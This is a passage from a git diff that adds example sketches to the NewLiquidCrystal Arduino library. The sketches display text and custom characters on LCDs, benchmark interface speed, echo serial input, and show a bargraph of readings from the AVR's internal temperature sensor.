lcd.print("Hello, ARDUINO "); + lcd.setCursor ( 0, 1 ); // go to the next line + lcd.print (" FORUM - fm "); + delay ( 1000 ); +} + +void loop() +{ + lcd.home (); + // Do a little animation by writing to the same location + for ( int i = 0; i < 2; i++ ) + { + for ( int j = 0; j < 16; j++ ) + { + lcd.print (char(random(7))); + } + lcd.setCursor ( 0, 1 ); + } + delay (200); +} diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_si2c/HelloWorld_si2c.ino b/libraries/NewliquidCrystal/examples/HelloWorld_si2c/HelloWorld_si2c.ino new file mode 100644 index 0000000..368ee27 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_si2c/HelloWorld_si2c.ino @@ -0,0 +1,54 @@ + +#include + +LiquidCrystal_SI2C lcd(0x4e,2,1,0,4,5,6,7); + +// Creat a set of new characters +const uint8_t charBitmap[][8] = { + { 0xc, 0x12, 0x12, 0xc, 0, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0, 0, 0, 0 }, + { 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0, 0x0 }, + { 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0, 0x0 }, + { 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0x0 }, + { 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0x0 }, + { 0x0, 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0x0 }, + { 0x0, 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0x0 } + +}; + +void setup() +{ + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + lcd.begin (16,2); + lcd.setBacklightPin(3, POSITIVE); + lcd.setBacklight(HIGH); + + for ( int i = 0; i < charBitmapSize; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } + + lcd.home (); // go home + lcd.print("Hello, Arduino "); + lcd.setCursor ( 0, 1 ); // go to the next line + for ( int i = 0; i < 8; i++ ) + lcd.print (char(i)); + delay ( 1000 ); +} + +void loop() +{ + lcd.home (); + // Do a little animation by writing to the same location + for ( int i = 0; i < 2; i++ ) + { + for ( int j = 0; j < 16; j++ ) + { + lcd.print (char(random(7))); + } + lcd.setCursor ( 0, 1 ); + } + delay (500); +} + diff --git a/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde b/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde new file mode 100644 index 0000000..3a485a3 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde @@ -0,0 +1,281 @@ +static char dummyvar; // dummy declaration for STUPID IDE!!!! +/*---------------------------------------------------------------------------- + * vi:ts=4 + * + * LCDiSpeed - LCD Interface Speed + * + * Created by Bill Perry 2012-03-16 + * Copyright 2012 - Under creative commons license 3.0: + * Attribution-NonCommercial-ShareAlike 3.0 Unported (CC BY-NC-SA 3.0) + * license page: http://creativecommons.org/licenses/by-nc-sa/3.0/ + * + * Sketch to measure and report the speed of the interface to the LCD and + * speed of updating the LCD. + * + * It runs a Frames/Sec (FPS) test which writes a "frame" of each digit 0-9 to + * the display. + * A "frame" is a full display of characters. + * It is created by positioning the cursor to the begining of each row + * and then writing a character to every position on the row, until the + * entire display is filled. + * The FPS test does a frame of 9's then 8's, .... down to 0's + * On fast interfaces it will not normally be seen. + * + * The sketch will then calculate & report transfer speeds and + * LCD update rates to the LCD display. + * + * Reported Information: + * - Single byte transfer speed (ByteXfer) + * This is the time it takes for a single character to be sent from + * the sketch to the LCD display. + * + * - Frame/Sec (FPS) + * This is the number of times the full display can be updated + * in one second. + * + * - Frame Time (Ftime) + * This is the amount of time it takes to update the full LCD display. + * + * + * The sketch will also report "independent" FPS and Ftime values. + * These are timing values that are independent of the size of the LCD under test. + * Currently they represent the timing for a 16x2 LCD + * The value of always having numbers for a 16x2 display + * is that these numbers can be compared to each other since they are + * independent of the size of the actual LCD display that is running the test. + * + * All times & rates are measured and calculeted from what a sketch "sees" + * using the LiquidCrystal API. + * It includes any/all s/w overhead including the time to go through the + * Arduino Print class and LCD library. + * The actual low level hardware times are obviously lower. + * + * History + * 2012.03.15 bperrybap - Original creation + * + * @author Bill Perry - bperrybap@opensource.billsworld.billandterrie.com + *---------------------------------------------------------------------------- + +/* + * Define your LCD size + */ +#define LCD_COLS 16 +#define LCD_ROWS 2 + +/* + * Pick your interface. + */ + +//#define LCDIF_4BIT +//#define LCDIF_I2C +//#define LCDIF_SR2W +//#define LCDIF_SR_2W // SR in 2 wire mode +//#define LCDIF_SR_3W // SR in 3 wire mode +//#define LCDIF_SR3W +//#define LCDIF_SR1W +#define LCDIF_SI2C + +/* + * Options + */ + +#define FPS_iter 1 // number of iterations to repeat each "frame" within the test + // (current frame test is 10 full display frames, 1 for each digits 0-9) + // FPS_iter like 100 will allow the frames to be seen + // Note: the only reason other than visual to make this larger than 1 + // might be to compensate for Async serial buffering should a serial interface be tested + // even with 1 iteration, 340 bytes are written for a 16x2 display + // bytes written = FPS_iter * ((LCD_ROWS * LCD_COLS) + LCD_ROWS) * 10 + +#define iLCD // turn on code to calculate speed of "independent" sized display +#define iLCD_ROWS 2 // independent FPS row size +#define iLCD_COLS 16 // independent FPS col size + + +#define DELAY_TIME 3500 // delay time to see information on lcd + +#if defined(LCDIF_4BIT) + +// Include the Liquid Crystal library code: +#include + +// initialize the library with the numbers of the interface pins +// lcd(RS, E, d4, d5, d6, d7, bl, polarity) +#ifdef BACKLIGHT_ON +LiquidCrystal lcd( 8, 9, 4, 5, 6, 7, 10, POSITIVE); // new constructor with backlight support +#else +LiquidCrystal lcd( 8, 9, 4, 5, 6, 7); // old style constructor w/o backlight (to test old library) +#endif + +#elif defined(LCDIF_I2C) +#include +#include + +LiquidCrystal_I2C lcd(0x38); // Set the LCD I2C address + + +#elif defined(LCDIF_SR3W) +#include + // d,clk,strb, en,rw,rs,d4,d5,d6,d7,bl,blpol +//LiquidCrystal_SR3W lcd (2, 3, 4, 6, 7, 1, 2, 3, 4, 5, 0, POSITIVE); +LiquidCrystal_SR3W lcd(3, 2, 4); + +#elif defined(LCDIF_SR2W) + +#include + // d, clk, (blPolarity optional, defaults to POSITIVE) +LiquidCrystal_SR2W lcd (2, 3); + +#elif defined(LCDIF_SR1W) + +#include +LiquidCrystal_SR1W lcd (2); + +#elif defined(LCDIF_SR_2W) + +#include + // d, clk +LiquidCrystal_SR lcd (2, 3); + +#elif defined(LCDIF_SR_3W) + +#include + // d,clk,strb +LiquidCrystal_SR lcd (2, 3, 4); + +#elif defined(LCDIF_SI2C) + +#include + +LiquidCrystal_SI2C lcd(0x4e,2,1,0,4,5,6,7); + +#endif + +void setup() +{ + // set up the LCD's number of columns and rows: + lcd.begin(LCD_COLS, LCD_ROWS); +lcd.setBacklightPin(3, POSITIVE); + lcd.setBacklight(HIGH); +#ifdef BACKLIGHT_ON + lcd.backlight(); // make sure backlight is on with new library +#endif +} + +void loop() +{ +unsigned long etime; +char buf[8]; + + lcd.clear(); + + + /* + * Time an FPS test + */ + + etime = timeFPS(FPS_iter, LCD_COLS, LCD_ROWS); + + /* + * show the average single byte xfer time during the FPS test + */ + showByteXfer(etime); + + /* + * show FPS rate and Frame update time for this display + */ + + sprintf(buf, "%dx%d", LCD_COLS, LCD_ROWS); + showFPS(etime, buf); + +#ifdef iLCD + /* + * calculate Independent FPS and Frame update time + * (rate & time for a "standard" display - default of 16x2) + * This is simply a matter of scaling the time based on the + * ratio of the display sizes. + */ + + etime = etime *iLCD_ROWS * iLCD_COLS / LCD_ROWS / LCD_COLS; + + /* + * show independent FPS rate & Frame update time + */ + sprintf(buf, "%dx%d", iLCD_COLS, iLCD_ROWS); + showFPS(etime, buf); +#endif + +} + +unsigned long timeFPS(uint8_t iter, uint8_t cols, uint8_t rows) +{ +char c; +unsigned long stime, etime; + + stime = micros(); + for(c = '9'; c >= '0'; c--) // do not change this unless you change the FPS/ByteXfer calcuations as well + { + for(uint8_t i = 0; i < iter; i++) + { + for(uint8_t row = 0; row < rows; row++) + { + lcd.setCursor(0, row); + for(uint8_t col = 0; col< cols;col++) + { + lcd.write(c); + } + } + } + } + etime = micros(); + return((etime-stime)); +} +void showFPS(unsigned long etime, const char *type) +{ +float fps; + + + /* + * calculate Frame update time and FPS rate + * The 10.0 is for the 10 frames done per iteration + * one for each digit 0-9 + */ + + fps = (10.0 * FPS_iter) * 1000000.0/(etime); + + + lcd.clear(); + lcd.print(type); + lcd.print("FPS: "); + lcd.print(fps); + + if(LCD_ROWS > 1) + { + lcd.setCursor(0,1); + } + else + { + delay(DELAY_TIME); + lcd.clear(); + } + lcd.print("Ftime: "); + lcd.print((etime)/10.0/FPS_iter/1000); + lcd.print("ms"); + + delay(DELAY_TIME); +} +void showByteXfer(unsigned long etime) +{ + lcd.clear(); + lcd.print("ByteXfer: "); + /* + * Calculate average byte xfer time from time of FPS test + * This takes into consideration the set cursor position commands which + * are single byte commands and take the same amount of time as a data byte write. + * The final result is rounded up to an integer. + */ + lcd.print((int) (etime / (FPS_iter * (10.0 * (LCD_COLS * LCD_ROWS + LCD_ROWS)))+0.5)); + lcd.print("uS"); + + delay(DELAY_TIME); +} diff --git a/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt b/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt new file mode 100644 index 0000000..b59d013 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt @@ -0,0 +1,20 @@ +16Mhz AVR +Interface ByteXfer 16x2FPS Ftime +---------------------------------------------- +4BIT 338uS 86.92 11.51ms (orignal Liquid Crystal) +4BIT 98uS 298.58 3.35ms +SR2W 76uS 388.62 2.57ms +SR_2W 72uS 406.90 2.46ms +SR_3W 61uS 480.03 2.08ms +SR3W 102uS 287.92 3.47ms + + +80Mhz Pic32 (ChipKit Uno32) +Interface ByteXfer 16x2FPS Ftime +---------------------------------------------- +4BIT 232uS 126.73 7.89ms (orignal mpide Liquid Crystal) +4BIT 57uS 517.41 1.93ms +SR2W 53uS 557.35 1.79ms +SR_2W 53uS 554.66 1.80ms +SR_3W 50uS 591.40 1.69ms +SR3W 56uS 524.91 1.91ms diff --git a/libraries/NewliquidCrystal/examples/SerialDisplay/SerialDisplay.pde b/libraries/NewliquidCrystal/examples/SerialDisplay/SerialDisplay.pde new file mode 100644 index 0000000..ce21e1c --- /dev/null +++ b/libraries/NewliquidCrystal/examples/SerialDisplay/SerialDisplay.pde @@ -0,0 +1,37 @@ +/* + * Displays text sent over the serial port (e.g. from the Serial Monitor) on + * an attached LCD. + */ +#include +#include + +#define BACKLIGHT_PIN 13 + +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x38 + +void setup() +{ + pinMode ( BACKLIGHT_PIN, OUTPUT ); + lcd.begin (16,2); + digitalWrite ( BACKLIGHT_PIN, HIGH ); + + Serial.begin(57600); +} + +void loop() +{ + // when characters arrive over the serial port... + if (Serial.available()) + { + // wait a bit for the entire message to arrive + delay(100); + // clear the screen + lcd.clear(); + // read all the available characters + while (Serial.available() > 0) + { + // display each character to the LCD + lcd.write(Serial.read()); + } + } +} diff --git a/libraries/NewliquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde b/libraries/NewliquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde new file mode 100644 index 0000000..5eaad1f --- /dev/null +++ b/libraries/NewliquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde @@ -0,0 +1,246 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 1/1/12. +// Copyright 2011 - Under creative commons license: +// Attribution-NonCommercial-ShareAlike CC BY-NC-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file i2CLCDextraIO.pde +// Temperature logging to demonstrate the I2CLCDextraIO library. +// +// @brief This application is a demostration file for the I2CLCDextraIO library +// that reads a temperature from the internal ATMEGA328p temperature sensor +// and displays it on the LCD. The application also demonstrates some of the +// methods of the library, such as loading custom characters to the LCD, +// moving around the LCD, and writing to it. +// +// @author F. Malpartida +// --------------------------------------------------------------------------- +#include +#include + +#define _LCD_I2C_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + + +/*! + @defined CHAR_WIDTH + @abstract Character witdth of the display, expressed in pixeles per character. +*/ +#define CHAR_WIDTH 5 + +/*! + @defined BACKLIGHT_PIN + @abstract LCD backlight pin definition. + @discussion AVR pin used for the backlight illumintation of the LCD. +*/ +#define BACKLIGHT_PIN 7 + +/*! + @defined TEMP_CAL_OFFSET + @abstract Temperature calibration offset. + @discussion This is the offset value that has to be modified to get a + correct temperature reading from the internal temperature sensor + of your AVR. +*/ +#define TEMP_CAL_OFFSET 334 + +/*! + @defined FILTER_ALP + @abstract Low pass filter alpha value + @discussion This value defines how much does the current reading, influences + the over all value. The smaller, the less influence the current + reading has over the overall result. +*/ +#define FILTER_ALP 0.1 + +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; + +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x20 for a 16 chars and 2 line display +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGHT_PIN, POSITIVE); +#endif +const int CONTRAST_PIN = 9; +const int CONTRAST = 65; + + + +LCD *myLCD = &lcd; + +static double tempFilter; + + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. +*/ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 }, + { 0xe, 0x11, 0x11, 0x11, 0xe, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0x0, 0, 0, 0} +}; + +/*! + @function + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @result Free RAM available. +*/ + +static int freeMemory() +{ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +} + +/*! + @function + @abstract Returns AVR328p internal temperature + @discussion Configures the ADC MUX for the temperature ADC channel and + waits for conversion and returns the value of the ADC module + @result The internal temperature reading - in degrees C +*/ + +static int readTemperature() +{ + ADMUX = 0xC8; // activate interal temperature sensor, + // using 1.1V ref. voltage + ADCSRA |= _BV(ADSC); // start the conversion + while (bit_is_set(ADCSRA, ADSC)); // ADSC is cleared when the conversion + // finishes + + // combine bytes & correct for temperature offset (approximate) + return ( (ADCL | (ADCH << 8)) - TEMP_CAL_OFFSET); +} + +/*! + @function + @abstract Braws a bargraph onto the display representing the value passed. + @discussion Draws a bargraph on the specified row using barLength characters. + @param value[in] Value to represent in the bargraph + @param row[in] Row of the LCD where to display the bargraph. Range (0, 1) + for this display. + @param barlength[in] Length of the bar, expressed in display characters. + @param start[in] Start bar character + @param end [in] End bar character + + @result None +*/ +static void drawBars ( int value, uint8_t row, uint8_t barLength, char start, + char end ) +{ + int numBars; + + // Set initial titles on the display + myLCD->setCursor (0, row); + myLCD->print (start); + + // Calculate the size of the bar + value = map ( value, -30, 50, 0, ( barLength ) * CHAR_WIDTH ); + numBars = value / CHAR_WIDTH; + + // Limit the size of the bargraph to barLength + if ( numBars > barLength ) + { + numBars = barLength; + } + myLCD->setCursor ( 1, row ); + + // Draw the bars + while ( numBars-- ) + { + myLCD->print ( char( 5 ) ); + } + + // Draw the fractions + numBars = value % CHAR_WIDTH; + myLCD->print ( char(numBars) ); + myLCD->setCursor (barLength + 1, row); + myLCD->print (end); + +} + +void setup () +{ + int i; + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + Serial.begin ( 57600 ); + analogReference ( INTERNAL ); + +#ifdef _LCD_4BIT_ + pinMode(CONTRAST_PIN, OUTPUT); + lcd.backlight(); + digitalWrite(BACKLIGHT_PIN, HIGH); + analogWrite (CONTRAST_PIN, CONTRAST); +#else + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite(BACKLIGHT_PIN, HIGH); +#endif + + myLCD->begin ( 16, 2 ); + + // Load custom character set into CGRAM + for ( i = 0; i < charBitmapSize; i++ ) + { + myLCD->createChar ( i, (uint8_t *)charBitmap[i] ); + } + Serial.println ( freeMemory () ); + + myLCD->clear (); + myLCD->print ("Temp:"); + + tempFilter = readTemperature (); // Initialise the temperature Filter + +} + + +void loop () +{ + int temp; + + temp = readTemperature(); + tempFilter = ( FILTER_ALP * temp) + (( 1.0 - FILTER_ALP ) * tempFilter); + + myLCD->setCursor ( 8, 0 ); + myLCD->print (" "); + myLCD->setCursor ( 8, 0 ); + myLCD->print ( tempFilter, 1 ); + myLCD->setCursor ( 12, 0 ); + myLCD->print ( "\x07" ); + myLCD->print ("C"); + drawBars ( tempFilter, 1, 14, '-', '+' ); + + delay (200); +} diff --git a/libraries/NewliquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino b/libraries/NewliquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino new file mode 100644 index 0000000..f981507 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino @@ -0,0 +1,332 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 1/1/12. +// Copyright 2011 - Under creative commons license: +// Attribution-NonCommercial-ShareAlike CC BY-NC-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file i2CLCDextraIO_tempLeonardo.ino +// Temperature logging to demonstrate the I2CLCDextraIO library. +// +// @brief This application is a demostration file for the I2CLCDextraIO library +// that reads a temperature from the internal ATMEGA32U4 temperature sensor +// and displays it on the LCD. The application also demonstrates some of the +// methods of the library, such as loading custom characters to the LCD, +// moving around the LCD, and writing to it. +// +// @author F. Malpartida +// --------------------------------------------------------------------------- +#include +#include +#include + +#define _LCD_SR3W_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + + +#ifdef _LCD_SR_ +#include +#endif + +#ifdef _LCD_SR3W_ +#include +#endif + + +/*! + @defined CHAR_WIDTH + @abstract Character witdth of the display, expressed in pixeles per character. +*/ +#define CHAR_WIDTH 5 + +/*! + @defined BACKLIGHT_PIN + @abstract LCD backlight pin definition. + @discussion AVR pin used for the backlight illumintation of the LCD. +*/ +#define BACKLIGHT_PIN 12 + +/*! + @defined STATUS_PIN + @abstract Status LED indicator. + @discussion Activity LED blinking indicating that the system is up. +*/ +#define STATUS_PIN 13 + +/*! + @defined LOOP_DELAY + @abstract Main loop delay. + @discussion Main loop delay executing temperature readings and LCD updates. +*/ +#define LOOP_DELAY 300 + +/*! + @defined TEMP_CAL_OFFSET + @abstract Temperature calibration offset. + @discussion This is the offset value that has to be modified to get a + correct temperature reading from the internal temperature sensor + of your AVR. +*/ +#define TEMP_CAL_OFFSET 282 + +/*! + @defined FILTER_ALP + @abstract Low pass filter alpha value + @discussion This value defines how much does the current reading, influences + the over all value. The smaller, the less influence the current + reading has over the overall result. +*/ +#define FILTER_ALP 0.1 + +/*! + @defined MIN_TEMP + @abstract Minimum temperature range for bargraph + +*/ +#define MIN_TEMP -10 + +/*! + @defined MAX_TEMP + @abstract Maximum temperature range for bargraph + +*/ +#define MAX_TEMP 50 + +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; + + +// Initialise LCD module +// ----------------------------------------------------------------------------- +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGHT_PIN, POSITIVE); +const int CONTRAST_PIN = 9; +const int CONTRAST = 65; +#endif + +#ifdef _LCD_SR_ +LiquidCrystal_SR lcd(3,2,TWO_WIRE); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin +#endif + +#ifdef _LCD_SR3W_ +LiquidCrystal_SR3W lcd(3, 2, 4); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin +#endif + + +// LCD reference variable +LCD *myLCD = &lcd; + +// Temperature filter variable +static double tempFilter; + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. +*/ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 }, + { 0xe, 0x11, 0x11, 0x11, 0xe, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0x0, 0, 0, 0} +}; + +/*! + @function + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @result Free RAM available. +*/ +static int freeMemory() +{ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +} + +/*! + @function + @abstract Returns AVR328p internal temperature + @discussion Configures the ADC MUX for the temperature ADC channel and + waits for conversion and returns the value of the ADC module + @result The internal temperature reading - in degrees C +*/ + +static int readTemperature() +{ + ADMUX = 0xC7; // activate interal temperature sensor, + // using 2.56V ref. voltage + ADCSRB |= _BV(MUX5); + + ADCSRA |= _BV(ADSC); // start the conversion + while (bit_is_set(ADCSRA, ADSC)); // ADSC is cleared when the conversion + // finishes + + // combine bytes & correct for temperature offset (approximate) + return ( (ADCL | (ADCH << 8)) - TEMP_CAL_OFFSET); +} + +/*! + @function + @abstract Braws a bargraph onto the display representing the value passed. + @discussion Draws a bargraph on the specified row using barLength characters. + @param value[in] Value to represent in the bargraph + @param row[in] Row of the LCD where to display the bargraph. Range (0, 1) + for this display. + @param barlength[in] Length of the bar, expressed in display characters. + @param start[in] Start bar character + @param end [in] End bar character + + @result None +*/ +static void drawBars ( int value, uint8_t row, uint8_t barLength, char start, + char end ) +{ + int numBars; + + // Set initial titles on the display + myLCD->setCursor (0, row); + myLCD->print (start); + + // Calculate the size of the bar + value = map ( value, MIN_TEMP, MAX_TEMP, 0, ( barLength ) * CHAR_WIDTH ); + numBars = value / CHAR_WIDTH; + + // Limit the size of the bargraph to barLength + if ( numBars > barLength ) + { + numBars = barLength; + } + myLCD->setCursor ( 1, row ); + + // Draw the bars + while ( numBars-- ) + { + myLCD->print ( char( 5 ) ); + } + + // Draw the fractions + numBars = value % CHAR_WIDTH; + myLCD->print ( char(numBars) ); + myLCD->setCursor (barLength + 1, row); + myLCD->print (end); + +} + +/*! + @function + @abstract Initialise the HW + @discussion Initialise the HW used within this application: UART, LCD & IOs + @param + @result +*/ + +static void initHW ( void ) +{ + int i; + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + Serial.begin ( 57600 ); + + // Hardware initialise + // ------------------------------------ + + //ADCSRA |= (1 << ADEN); // Initialise ADC block (no need done by env) + + // Initialise LCD HW: backlight and LCD + // ------------------------------------- +#ifdef _LCD_4BIT_ + pinMode(CONTRAST_PIN, OUTPUT); + analogWrite (CONTRAST_PIN, CONTRAST); +#endif + +#ifdef _LCD_I2C_ + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite (BACKLIGHT_PIN, HIGH); +#endif + pinMode ( STATUS_PIN, OUTPUT ); + + myLCD->begin ( 20, 2 ); + // Load custom character set into CGRAM + // -------------------------------------------------------------------- + for ( i = 0; i < charBitmapSize; i++ ) + { + myLCD->createChar ( i, (uint8_t *)charBitmap[i] ); + } +} + +void setup () +{ + initHW(); + + Serial.println ( freeMemory () ); + myLCD->clear (); + myLCD->print ( F("Free Mem: ")); + myLCD->print ( freeMemory () ); + delay ( 2000 ); + myLCD->clear (); + myLCD->print (F("Temp:")); + myLCD->setCursor ( 8, 0 ); + + tempFilter = 0; + myLCD->print ( readTemperature() ); +} + + +void loop () +{ + int temp; + static byte status = 1; + + status ^= 1; + digitalWrite ( STATUS_PIN, status); + + temp = readTemperature(); + tempFilter = ( FILTER_ALP * temp) + (( 1.0 - FILTER_ALP ) * tempFilter); + + // Display the information to the LCD + myLCD->setCursor ( 8, 0 ); + myLCD->print (" "); + myLCD->setCursor ( 8, 0 ); + myLCD->print ( tempFilter, 1 ); + myLCD->setCursor ( 12, 0 ); + myLCD->print ( "\x07" ); + myLCD->print ("C"); + drawBars ( tempFilter, 1, 14, '-', '+' ); + + delay (LOOP_DELAY); +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/examples/performanceLCD/performanceLCD.pde b/libraries/NewliquidCrystal/examples/performanceLCD/performanceLCD.pde new file mode 100644 index 0000000..1ddb5b7 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/performanceLCD/performanceLCD.pde @@ -0,0 +1,497 @@ +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file performanceLCD.h +// This sketch implements a simple benchmark for the New LiquidCrystal library. +// +// @brief +// This sketch provides a simple benchmark for the New LiquidCrystal library. It +// enables to test the varios classes provided by the library giving a performance +// reference. +// +// This library is only compatible with Arduino's SDK version 1.0 +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// Contribution by flo - Florian@Fida.biz - for benchmarking SR +// --------------------------------------------------------------------------- +#include + +//#define _LCD_I2C_ +#define _LCD_SI2C_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_SI2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + +#ifdef _LCD_SR_ +#include +#endif + +#ifdef _LCD_SR3W_ +#include +#endif + +#ifdef _LCD_SR1_ +#include +#endif + +// C runtime variables +// ------------------- +#ifdef __AVR__ +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; +#endif + +// Constants and definitions +// ------------------------- +// Definitions for compatibility with Arduino SDK prior to version 1.0 +#ifndef F +#define F(str) str +#endif + +/*! + @defined NUM_BENCHMARKS + @abstract Number of benchmarks in the project. + */ +#define NUM_BENCHMARKS 4 + +/*! + @defined ITERATIONS + @abstract Number of benchmarks iterations to perform. + */ +#define ITERATIONS 10 + +/*! + @defined LCD_ROWS + @abstract LCD rows + @discussion Defines the number of rows that the LCD has, normal LCD ranges are (1, 2, 4). + */ +#define LCD_ROWS 2 + +/*! + @defined LCD_COLUMNS + @abstract LCD available columns + @discussion Defines the number of colums that the LCD has, normal LCD ranges are (8, 16, 20). + */ +#define LCD_COLUMNS 16 + +/*! + @const Pin constant definitions + @abstract Define several constants required to manage the LCD backlight and contrast + */ +#ifdef _LCD_I2C_ +const int BACKLIGHT_PIN = 12; +const int CONTRAST_PIN = 0; // none +const int CONTRAST = 0; // none +#endif + +#ifdef _LCD_SI2C_ +const int BACKLIGHT_PIN = 3; +const int CONTRAST_PIN = 0; // none +const int CONTRAST = 0; // none +#endif + +#ifdef _LCD_4BIT_ +const int CONTRAST_PIN = 9; +const int BACKLIGHT_PIN = 7; +const int CONTRAST = 120; +#endif + +#ifdef _LCD_SR_ +const int CONTRAST_PIN = 0; // not connected +const int BACKLIGHT_PIN = 0; // none +const int CONTRAST = 0; +#endif + +#ifdef _LCD_SR1_ +const int CONTRAST_PIN = 0; // not connected +const int BACKLIGHT_PIN = 0; // none +const int CONTRAST = 0; +#endif + +#ifdef _LCD_SR3W_ +const int CONTRAST_PIN = 0; // none +const int BACKLIGHT_PIN = 5; +const int CONTRAST = 0; +#endif + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. + */ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 } +}; + +/*! + @typedef t_benchmarkOp + @abstract Function pointer associated to each benchmark. + 